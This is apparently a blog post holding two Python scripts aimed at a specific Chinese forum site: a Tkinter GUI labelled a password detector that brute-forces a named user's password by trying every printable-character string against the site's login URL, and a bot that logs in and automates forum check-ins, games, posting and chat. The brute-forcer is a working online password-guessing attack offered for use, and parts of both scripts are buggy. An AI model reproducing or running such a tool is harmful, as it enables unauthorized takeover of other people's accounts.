http://txqq789.com

# -*- coding: UTF-8 -*-
try:
    from Tkinter import *
    from Tkinter import tkMessageBox as messagebox
except ImportError as e:
    from tkinter import *
    from tkinter import messagebox
import requests
import time


class User(object):
    """docstring for User"""
    def __init__(self, user='',password=''):
        super(User, self).__init__()
        self.user = user
        self.password = password
        self.tlen = 0
        self.chas = ''.join([chr(j) for j in range(32,127)])
        self.mainWindows()
    def mainWindows(self):
        self.root = Tk()
        # self.sw = self.root.winfo_screenwidth()
        # self.sh = self.root.winfo_screenheight()
        # ww = 180
        # wh = 180
        # px = (self.sw-ww) / 2
        # py = (self.sh-wh) / 2
        # self.root.geometry("%dx%d+%d+%d" %(ww,wh,px,py))
        self.root.title('txqq789密码探测器 BY 海军 qq:1539920886')
        self.menubar = Menu(self.root)
        self.setting = Menu(self.menubar, tearoff=0)
        self.setting.add_command(label="设置时间", command=self.timelen)
        self.setting.add_command(label="设置字符集", command=self.setchars)
        self.menubar.add_cascade(label="设置", menu=self.setting)
        self.userLabel = Label(self.root,text='user')
        self.userInput = Entry(self.root)
        self.passwordLabel = Label(self.root,text='password')
        self.passwordInput = Entry(self.root)
        self.submitbtn = Button(self.root,text='获取',command=self.getpassword)
        self.testbtn = Button(self.root,text='测试',command=self.testpassword)

        self.resultFrame = Frame(self.root)
        self.currentpasswordLabel = Label(self.resultFrame,text='当前密码')
        self.currentpassword = Label(self.resultFrame,text='')
        self.correctpasswordLabel = Label(self.resultFrame,text='正确密码')
        self.correctpassword = Label(self.resultFrame,text='')

        self.userLabel.grid(row=0, column=0)
        self.userInput.grid(row=0, column=1)
        self.passwordLabel.grid(row=1, column=0)
        self.passwordInput.grid(row=1, column=1)
        self.submitbtn.grid(row=2, column=0)
        self.testbtn.grid(row=2, column=1)
        self.resultFrame.grid(row=3, column=0,columnspan=2)
        self.currentpasswordLabel.grid(row=0, column=0)
        self.currentpassword.grid(row=0, column=1)
        self.correctpasswordLabel.grid(row=1, column=0)
        self.correctpassword.grid(row=1, column=1)
        # self.root.resizable(0,0)
        self.root.config(menu=self.menubar)
        self.root.mainloop()

    def straddone(self,string,index=-1):
        chars_len = len(self.chas)
        sting_len = len(string)
        endstr = self.chas[-1]*sting_len
        if string != endstr:
            i = self.chas.index(string[index])
            if i >= chars_len-1:
                i = 0
                arr = list(string)
                arr[index] = self.chas[i]
                string = ''.join(arr)
                index = index - 1
                string = self.straddone(string,index)
            else:
                i = i + 1
                arr = list(string)
                arr[index] = self.chas[i]
                string = ''.join(arr)
        return string
    
    def login(self,username,password):
        headers = {
            "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3",
            "Accept-Encoding":"gzip, deflate",
            "Accept-Language":"zh-CN,zh;q=0.9",
            "Cache-Control":"max-age=0",
            "Connection":"keep-alive",
            "Host":"txqq789.com",
            "Upgrade-Insecure-Requests":"1",
            "User-Agent":"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
        }
        url = 'http://txqq789.com/server/login.aspx?name='+ username + '&pass=' + password
        r = requests.get(url)
        status = r.text.split('=')[1].split(':')[1].strip()[:1]
        if status == 0:
            self.correctpassword['text'] = password
        return int(status)

    def generate(self):
        string_len = len(self.chas)
        for i in range(string_len):
            start_string = self.chas[0]*(i+1)
            end_string = self.chas[-1]*(i+1)
            status = None
            while start_string != end_string or status == 0:
                self.currentpassword.config(text=start_string) 
                username = self.userInput.get()
                print(username,'  ',start_string)
                start_string = self.straddone(start_string)
                status = self.login(username,start_string)
                time.sleep(self.tlen)
                if status != 0:
                    start_string = self.straddone(start_string)
                else:
                    break
            if status == 0:
                break

    def timelen(self):
        self.master = Tk()
        self.timeLabel = Label(self.master,text='时间间隔(s)')
        self.timeInput = Entry(self.master)
        self.settbtn = Button(self.master,text='设置',command=self.settime)
        self.timeLabel.grid(row=0, column=0)
        self.timeInput.grid(row=0, column=1)
        self.settbtn.grid(row=1, column=0,columnspan=2)
        self.master.mainloop()

    def settime(self):
        tlen = self.timeInput.get()
        if not tlen:
            self.tlen = 0.0
        else:
            self.tlen = float(tlen)
        self.master.destroy()

    def getpassword(self):
        self.generate()
        # username = self.userInput.get()
        # passwords = self.generatepassword()
        # for password in passwords
        # username = '6666'
        # password = 'lin8666'
        # url = 'http://txqq789.com/server/login.aspx?name='+ username + '&pass=' + password
        # r = requests.get(url)
        # text = r.text.split('=')[1].split(':')[1].strip()[:1]
        # print(text)

    def setchars(self):
        self.charsmaster = Tk()
        self.charLabel = Label(self.charsmaster,text='字符集')
        self.charInput = Entry(self.charsmaster)
        self.setcbtn = Button(self.charsmaster,text='设置',command=self.setchar)
        self.charLabel.grid(row=0, column=0)
        self.charInput.grid(row=0, column=1)
        self.setcbtn.grid(row=1, column=0,columnspan=2)
        self.charsmaster.mainloop()


    def setchar(self):
        chas = self.charInput.get()
        if chas:
            self.chas = chas
        self.charsmaster.destroy()

    def testpassword(self):
        username = self.userInput.get()
        password = self.passwordInput.get()
        status = self.login(username,password)
        print(status)
        if status == 0:
            messagebox.showinfo('提示','password is corrected')
        else:
            messagebox.showerror('提示','password is wrong')



def main():
    user = User()
    # user.getpassword()

if __name__ == '__main__':
    main()

  

# --*-- coding:utf-8 --*--
import re
import requests
try:
    import urlparse
except Exception as e:
    from urllib import parse as urlparse
# from lxml import etree
from bs4 import BeautifulSoup

class Tx:
    def __init__(self,url="http://txqq789.com",user="",passwd="",login_type=0):
        self.url = url
        self.parsed_tuple = urlparse.urlparse(self.url)
        self.user = user
        self.passwd = passwd
        self.login_url = "%s/login/login.aspx"%(self.url)
        self.headers = {
        "Accept": "text/javascript, application/javascript, application/ecmascript, application/x-ecmascript, */*; q=0.01",
        "Accept-Encoding": "gzip, deflate",
        "Accept-Language": "zh-CN,zh;q=0.9",
        "Connection": "keep-alive",
        "Host": self.parsed_tuple.netloc,
        # "Referer": self.login_url,
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36",
        "X-Requested-With": "XMLHttpRequest"
        }
        self.family_id = None
        if login_type == 0:
            self._login(self.url,self.user,self.passwd)
        else:
            other_login_url = 'https://graph.qq.com/oauth2.0/show?which=Login&display=pc&response_type=code&client_id=101265654&redirect_uri=http://txqq789.com/api/qqlogin.aspx&state=88371|PdRfAueQa3cgtrWbBqOqsTbU5DTM|2|txqq789.com&scope=get_user_info'
            self._qq_login(other_login_url)


    def _login(self,url,user,passwd):
        self._login_url = "%s/server/login.aspx?name=%s&pass=%s"%(self.url,self.user,self.passwd)
        r = requests.get(self._login_url,headers=self.headers)
        self.cookies = r.cookies
        status = int(r.text.split('{')[1].split('}')[0].split(':')[1].strip())
        if status != 0:
            exit()

    def _qq_login(self,url):
        print(url)
        # r = requests.get(url,headers=self.headers,allow_redirects=False)
        r = requests.get(url)

    def family(self):
        self.get_family_id()
        self.qiandao()
        self.famiy_wee()
        self.caishen()


    def get_family_id(self):
        hurl = '%s/bbs/my_family.aspx'%(self.url)
        r = requests.get(hurl,cookies=self.cookies)
        info = urlparse.urlparse(r.url)
        params = urlparse.parse_qs(info.query)
        if not params:
            print(123789456)
            exit()
        self.family_id = params['id'][0]
    def qiandao(self):
        qurl = '%s/bbs/my_qid.aspx?id=%s'%(self.url,self.family_id)
        r = requests.get(qurl,cookies=self.cookies)
        status = BeautifulSoup(r.text,'lxml').find('div', align="center").find('a')
        if status:
            qdurl = '%s/%s'%(self.url,status.attrs['href'])
            requests.get(qdurl,cookies=self.cookies)


    def famiy_wee(self):
        furl = '%s/bbs/famiy_wee.aspx?id=%s'%(self.url,self.family_id)
        r = requests.get(furl,cookies=self.cookies)
        # print(r.text)

    def caishen(self):
        curl = '%s/bbs/family_wee.aspx?id=%s'%(self.url,self.family_id)
        r = requests.get(curl,cookies=self.cookies)
        # print(r.text)

    def ledou(self,ltype=1):
        lurl = '%s/bbs/ld.aspx?bid=%s&bt=%s'%(self.url,self.family_id,ltype)
        r = requests.get(lurl,cookies=self.cookies)
        soup = BeautifulSoup(r.text,'lxml')
        bar = soup.find('div',class_='bar')
        zdl = bar.next_sibling.next_sibling.next_sibling
        tlz = zdl.next_sibling.next_sibling.split('[')[0].strip()
        duixiang = [{'url':self.url+'/bbs/'+i.attrs['href'],'name':i.next_sibling}for i in soup.find_all('a') if i.text==u'\u6597\u4e00\u6597']
        # print(duixiang)
        ledou_info = {
            'zdl':zdl,
            'tlz':tlz,
            'duishou':duixiang
        }
        print(ledou_info)

    def jledou(self,url):
        r = requests.get(url,cookies=self.cookies)
        soup = BeautifulSoup(r.text,'lxml')
        bar = soup.find('div',class_='bar')
        zdl = bar.next_sibling.next_sibling.next_sibling.next_sibling
        tlz = zdl.next_sibling.next_sibling
        rs = tlz.next_sibling.next_sibling.next_sibling.next_sibling
        result = '%s\n%s\n%s'%(zdl,tlz,rs)
        print(result)

    def zudou(self):
        zurl = '%s/bbs/bu.aspx?bid=%s'%(self.url,self.family_id)
        r = requests.get(zurl,cookies=self.cookies)
        soup = BeautifulSoup(r.text,'lxml')
        bar = soup.find('div',class_='bar')
        zdl = bar.next_sibling.next_sibling.next_sibling.next_sibling
        gxz = zdl.next_sibling.next_sibling.next_sibling
        duixiang = [{'url':self.url+'/bbs/'+i.attrs['href'],'name':i.next_sibling.next_sibling.text}for i in soup.find_all('a') if i.text==u'\u6311\u6218']
        zudou_info = {
            'zdl':zdl,
            'gxz':gxz,
            'duixiang':duixiang
        }
        print(zudou_info)

    def jzudou(self,url):
        r = requests.get(url,cookies=self.cookies)
        soup = BeautifulSoup(r.text,'lxml')

    def fruit(self):
        gurl = '%s/bbs/gs.aspx?bid=%s'%(self.url,self.family_id)
        r = requests.get(gurl,cookies=self.cookies)
        soup = BeautifulSoup(r.text,'lxml')
        bar = soup.find('div',class_='bar')
        bfruit = bar.next_sibling.next_sibling.next_sibling
        pfruit = bfruit.next_sibling.next_sibling
        cfruit = pfruit.next_sibling.next_sibling
        fnum = {
            'bfruit':int(bfruit[-1]),
            'pfruit':int(pfruit[-1]),
            'cfruit':int(cfruit[-1])
        }
        print(fnum)

    def each_fruit(self,oid,sl):
        eurl = '%s/bbs/gs_ok.aspx?bid=%s'%(self.url,self.family_id)
        data = {
            'oid':oid,
            'sl':sl
        }
        r = requests.post(eurl,cookies=self.cookies,data=data)
        soup = BeautifulSoup(r.text,'lxml')
        bar = soup.find('div',class_='bar')
        status = bar.next_sibling.next_sibling.next_sibling
        print(status)

    def huitie(self,tieId,content):
        hturl = '%s/wml/bbs/reply_add.aspx?id=44007'%(self.url,tieId)
        data = {
            'cont':content,
            'act':'ok'
        }
        r = requests.post(hturl,cookies=self.cookies,data=data)

    def get_tiezi_list(self,lid,tid='',page=1):
        url = '%s/bbs/forum.aspx?id=%s&tid=%s&page=%s'%(self.url,lid,tid,page)
        r = requests.get(url,cookies=self.cookies)
        soup = BeautifulSoup(r.text,'lxml')
        divs = soup.find_all('div')
        hengxian = soup.find('div',class_='hengxian')
        footer = soup.find('div',class_='footer')
        ih = divs.index(hengxian)
        it = divs.index(footer)
        tls = [{'title':div.find('a').text,'url':self.url+div.find('a').attrs['href'],'author':div.find('font').text} for div in divs[ih+1:it-1] if div.find('font')]
        print(tls)

    def get_tiezi(self,tieId,page=1):
        url = '%s/wml/bbs/topic.aspx?id=%s'%(self.url,tieId)
        r = requests.get(url,cookies=self.cookies)
        soup = BeautifulSoup(r.text,'lxml')
        title = soup.find('b',id="tdName").text
        content = soup.find('div',id="tdCont").text
        author = [a for a in soup.find_all('a') if a.find('font')][0].text
        if page != 1:
            htlurl = '%s/bbs/reply_list.aspx?id=%s&page=%s'%(self.url,tieId,page)
            r = requests.get(htlurl,cookies=self.cookies)
            soup = BeautifulSoup(r.text,'lxml')
        htielist = [div.text[:-4] for div in soup.find('div',class_='list').find_all('div')[:-1]]
        print(htielist)

    def fatie(self,lid):
        fturl = '%s/wml/bbs/topic_add.aspx?id=%s'%(self.url,lid)
        data = {
            'name':name,
            'dtext':dtext,
            'act':'发表'
        }
        r = requests.post(fturl,cookies=self.cookies,data=data)

    def get_chat_room(self,chat_room_id=4,page=1):
        url = '%s/bbs/chat/room.aspx?id=%s&page=%s'%(self.url,chat_room_id,page)
        r = requests.get(url,cookies=self.cookies)
        soup = BeautifulSoup(r.text,'lxml')
        divs = soup.find_all('div')
        chat_list = [div.text for div in divs if not div.attrs.has_key('class')]
        print(chat_list)

    def chat(self,content1,chat_room_id=4):
        url = '%s/bbs/chat/room.aspx?id=%s'%(self.url,chat_room_id)
        data = {
            'content1':content1,
            'act':'发送传音'
        }
        r = requests.post(hturl,cookies=self.cookies,data=data)





def main():
    url = 'http://txqq789.com'
    tx = Tx(url,user,passwd,0)
    # tx.get_family_id()
    # print(tx.family_id)
    # tx.famiy_wee()
    # tx.caishen()
    tx.family()
    # tx.ledou()
    # tx.zudou()
    # tx.fruit()
    # tx.each_fruit(4,1)
    # tx.jledou('http://txqq789.com/bbs/pre.aspx?id=12694')
    # tx.get_tiezi_list(9868)
    # tx.get_tiezi(43987,2)
    # tx.get_chat_room(4,3)

if __name__ == '__main__':
    main()

  

posted @ 2020-01-04 16:58  NAVYSUMMER  阅读(885)  评论(0)    收藏  举报
交流群 编程书籍